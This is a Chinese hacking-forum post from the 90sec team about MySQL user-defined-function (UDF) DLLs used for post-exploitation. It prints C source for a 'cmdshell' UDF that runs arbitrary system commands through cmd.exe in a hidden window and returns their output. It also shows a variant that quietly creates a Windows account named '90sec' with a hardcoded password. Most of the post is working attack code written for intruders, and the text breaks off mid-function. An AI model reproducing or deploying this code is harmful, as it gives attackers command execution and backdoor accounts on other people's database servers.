一点关于UDF的发散思路
Author:mer4en7y
Team:90sec
声明:UDF源码作者langouster
相信各位牛对UDF都不会陌生,看论坛叶总共享了一份UDF源码,以前一直没看过,于是看了看,写了这篇垃圾文章,再此抛砖引玉了,望大牛勿笑!
以cmdshell函数为例
cmdshell函数大家都不会陌生
GetSystemDirectory(ShellPath,MAX_PATH-1); strcat(ShellPath,"cmd.exe"); GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1); strcat(TempFilePath,"2351213.tmp"); |
这里调用的是system32下的cmd,如果删除了那么函数就会失败,我们如何来发散一下呢
其实工具只是一个辅助,看下面一段简单代码:
这是一段用API函数添加普通用户的代码,我将原先的about函数稍微修改一下,替换为下面的代码
NET_API_STATUS ret=0; DWORD dwErr=0; USER_INFO_1 oUserInfo; ZeroMemory(&oUserInfo,sizeof(oUserInfo)); oUserInfo.usri1_name=L"90sec"; oUserInfo.usri1_password=L"90sec"; oUserInfo.usri1_priv=USER_PRIV_USER; oUserInfo.usri1_flags=UF_NORMAL_ACCOUNT; ret=NetUserAdd(NULL,1,(LPBYTE)(&oUserInfo),&dwErr); if(ret== NERR_Success) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"执行成功rn"); *length=strlen(initid->ptr); return initid->ptr; } |
udf.dll 源码
#include "stdafx.h" #include "stdio.h" #include <windows.h> #include <tlhelp32.h> #include <stdlib.h> #include <winsock.h> #include <Urlmon.h> #include "mysql.h" #include "resource.h" #include "mydebug.h" #pragma comment(lib, "Urlmon.lib") HANDLE g_module; //---------------------------------------------------------- --------------------------- BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { if(ul_reason_for_call==DLL_PROCESS_ATTACH) g_module=hModule; return TRUE; } //-------------------------------------------------------------------------------- -----------------------cmdshell extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"执行CMD Shell函数. 例:select cmdshell("dir c:\\"); 参数中的"\"要用"\\"代替."); *length=strlen(initid->ptr); return initid->ptr; } int RunStatus=0; char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100]; DWORD size=0,len; HANDLE hFile; GetSystemDirectory(ShellPath,MAX_PATH-1); strcat(ShellPath,"\cmd.exe"); GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1); strcat(TempFilePath,"\2351213.tmp"); cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7); strcpy(cmdline," /c "); strcat(cmdline,(args->args)[0]); strcat(cmdline,">"); strcat(cmdline,TempFilePath); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.wShowWindow=SW_HIDE; si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi); free(cmdline); if(!RunStatus) { itoa(GetLastError(),temp,10); sprintf(temp,"Shell无法启动,GetLastError=%s ",temp); initid->ptr=(char *)malloc(strlen(temp)+1); strcpy(initid->ptr,temp); (*length)=strlen(initid->ptr); return initid->ptr; } WaitForSingleObject(pi.hProcess,30000); //获得结果 hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL); if(hFile!=INVALID_HANDLE_VALUE) { size=GetFileSize(hFile,NULL); initid->ptr=(char *)malloc(size+100); ReadFile(hFile,initid->ptr,size+1,&len,NULL); (initid->ptr)[size]='